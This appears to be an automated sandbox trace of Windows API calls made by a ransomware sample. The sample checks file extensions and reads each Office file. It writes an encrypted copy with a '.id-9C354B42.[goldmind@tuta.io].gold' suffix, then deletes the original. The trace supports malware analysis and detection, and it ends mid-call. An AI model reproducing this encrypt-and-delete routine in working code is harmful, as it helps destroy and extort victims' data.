[0110.912] lstrlenW (lpString=".rar") returned 4 [0110.912] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".bz2") returned 4 [0110.912] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".7z") returned 3 [0110.912] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".dbf") returned 4 [0110.912] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".1cd") returned 4 [0110.912] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".jpg") returned 4 [0110.912] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.912] lstrlenW (lpString=".doc") returned 4 [0110.912] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".docx") returned 5 [0110.912] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.912] lstrlenW (lpString=".pdf") returned 4 [0110.912] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.912] lstrlenW (lpString=".xls") returned 4 [0110.912] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.912] lstrlenW (lpString=".xlsx") returned 5 [0110.912] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.912] lstrlenW (lpString=".ppt") returned 4 [0110.912] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.913] lstrlenW (lpString=".zip") returned 4 [0110.913] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.913] lstrlenW (lpString=".rar") returned 4 [0110.913] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.913] lstrlenW (lpString=".bz2") returned 4 [0110.913] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.913] lstrlenW (lpString=".7z") returned 3 [0110.913] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.913] lstrlenW (lpString=".dbf") returned 4 [0110.913] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.913] lstrlenW (lpString=".1cd") returned 4 [0110.913] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0110.913] lstrlenW (lpString=".jpg") returned 4 [0110.913] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.913] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0110.913] lstrlenW (lpString="PABR.SAM") returned 8 [0110.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.914] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=11144) returned 1 [0110.914] CloseHandle (hObject=0x3c0) returned 1 [0110.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20 [0110.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.914] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.914] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.915] GetLastError () returned 0x0 [0110.915] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x2b88, lpOverlapped=0x0) returned 1 [0110.917] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0110.917] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.917] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0110.917] SetEndOfFile (hFile=0x3ac) returned 1 [0110.918] CloseHandle (hObject=0x3ac) returned 1 [0110.918] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.918] SetEndOfFile (hFile=0x3c0) returned 1 [0110.919] CloseHandle (hObject=0x3c0) returned 1 [0110.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 1 [0110.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.920] lstrlenW (lpString=".doc") returned 4 [0110.920] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.920] lstrlenW (lpString=".docx") returned 5 [0110.920] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.920] lstrlenW (lpString=".pdf") returned 4 [0110.920] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.920] lstrlenW (lpString=".xls") returned 4 [0110.920] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.920] lstrlenW (lpString=".xlsx") returned 5 [0110.921] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.921] lstrlenW (lpString=".ppt") returned 4 [0110.921] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".zip") returned 4 [0110.921] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.921] lstrlenW (lpString=".rar") returned 4 [0110.921] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".bz2") returned 4 [0110.921] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".7z") returned 3 [0110.921] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".dbf") returned 4 [0110.921] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".1cd") returned 4 [0110.921] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".jpg") returned 4 [0110.921] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".doc") returned 4 [0110.921] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".docx") returned 5 [0110.921] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.921] lstrlenW (lpString=".pdf") returned 4 [0110.921] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".xls") returned 4 [0110.921] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.921] lstrlenW (lpString=".xlsx") returned 5 [0110.921] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.921] lstrlenW (lpString=".ppt") returned 4 [0110.921] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.921] lstrlenW (lpString=".zip") returned 4 [0110.921] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.921] lstrlenW (lpString=".rar") returned 4 [0110.921] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".bz2") returned 4 [0110.921] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.921] lstrlenW (lpString=".7z") returned 3 [0110.922] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.922] lstrlenW (lpString=".dbf") returned 4 [0110.922] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.922] lstrlenW (lpString=".1cd") returned 4 [0110.922] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0110.922] lstrlenW (lpString=".jpg") returned 4 [0110.922] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.922] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.922] lstrlenW (lpString="TRANSMRR.DLL") returned 12 [0110.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.975] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=13712) returned 1 [0110.975] CloseHandle (hObject=0x394) returned 1 [0110.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll")) returned 0x20 [0111.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.217] lstrlenW (lpString=".doc") returned 4 [0111.217] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".docx") returned 5 [0111.218] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0111.218] lstrlenW (lpString=".pdf") returned 4 [0111.218] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".xls") returned 4 [0111.218] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".xlsx") returned 5 [0111.218] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0111.218] lstrlenW (lpString=".ppt") returned 4 [0111.218] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".zip") returned 4 [0111.218] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".rar") returned 4 [0111.218] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".bz2") returned 4 [0111.218] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.218] lstrlenW (lpString=".7z") returned 3 [0111.218] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".dbf") returned 4 [0111.218] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".1cd") returned 4 [0111.218] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".jpg") returned 4 [0111.218] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".doc") returned 4 [0111.218] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".docx") returned 5 [0111.218] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0111.218] lstrlenW (lpString=".pdf") returned 4 [0111.218] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".xls") returned 4 [0111.218] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".xlsx") returned 5 [0111.218] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0111.218] lstrlenW (lpString=".ppt") returned 4 [0111.218] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".zip") returned 4 [0111.218] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".rar") returned 4 [0111.218] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.218] lstrlenW (lpString=".bz2") returned 4 [0111.218] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.218] lstrlenW (lpString=".7z") returned 3 [0111.218] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.218] lstrlenW (lpString=".dbf") returned 4 [0111.218] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.219] lstrlenW (lpString=".1cd") returned 4 [0111.219] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0111.219] lstrlenW (lpString=".jpg") returned 4 [0111.219] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.219] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.219] lstrlenW (lpString="ACT3.SAM") returned 8 [0111.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.220] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=90488) returned 1 [0111.220] CloseHandle (hObject=0x3d8) returned 1 [0111.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 0x20 [0111.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.220] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.220] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0111.221] GetLastError () returned 0x0 [0111.221] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x16178, lpOverlapped=0x0) returned 1 [0111.267] WriteFile (in: hFile=0x3dc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x16180, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x16180, lpOverlapped=0x0) returned 1 [0111.268] ReadFile (in: hFile=0x3d8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.268] WriteFile (in: hFile=0x3dc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0111.269] SetEndOfFile (hFile=0x3dc) returned 1 [0111.269] CloseHandle (hObject=0x3dc) returned 1 [0111.269] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.269] SetEndOfFile (hFile=0x3d8) returned 1 [0111.290] CloseHandle (hObject=0x3d8) returned 1 [0111.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 1 [0111.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.575] lstrlenW (lpString=".doc") returned 4 [0111.575] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.575] lstrlenW (lpString=".docx") returned 5 [0111.575] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0111.575] lstrlenW (lpString=".pdf") returned 4 [0111.575] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.575] lstrlenW (lpString=".xls") returned 4 [0111.575] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.575] lstrlenW (lpString=".xlsx") returned 5 [0111.575] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0111.575] lstrlenW (lpString=".ppt") returned 4 [0111.575] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.575] lstrlenW (lpString=".zip") returned 4 [0111.575] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.575] lstrlenW (lpString=".rar") returned 4 [0111.575] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.575] lstrlenW (lpString=".bz2") returned 4 [0111.575] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.575] lstrlenW (lpString=".7z") returned 3 [0111.575] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.575] lstrlenW (lpString=".dbf") returned 4 [0111.576] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".1cd") returned 4 [0111.576] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".jpg") returned 4 [0111.576] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".doc") returned 4 [0111.576] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString=".docx") returned 5 [0111.576] lstrcmpiW (lpString1=".docx", lpString2="3.SAM") returned -1 [0111.576] lstrlenW (lpString=".pdf") returned 4 [0111.576] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString=".xls") returned 4 [0111.576] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.576] lstrlenW (lpString=".xlsx") returned 5 [0111.576] lstrcmpiW (lpString1=".xlsx", lpString2="3.SAM") returned -1 [0111.576] lstrlenW (lpString=".ppt") returned 4 [0111.576] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".zip") returned 4 [0111.576] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.576] lstrlenW (lpString=".rar") returned 4 [0111.576] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString=".bz2") returned 4 [0111.576] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString=".7z") returned 3 [0111.576] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".dbf") returned 4 [0111.576] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".1cd") returned 4 [0111.576] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned 59 [0111.576] lstrlenW (lpString=".jpg") returned 4 [0111.576] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.576] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.576] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0111.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0x80000000, 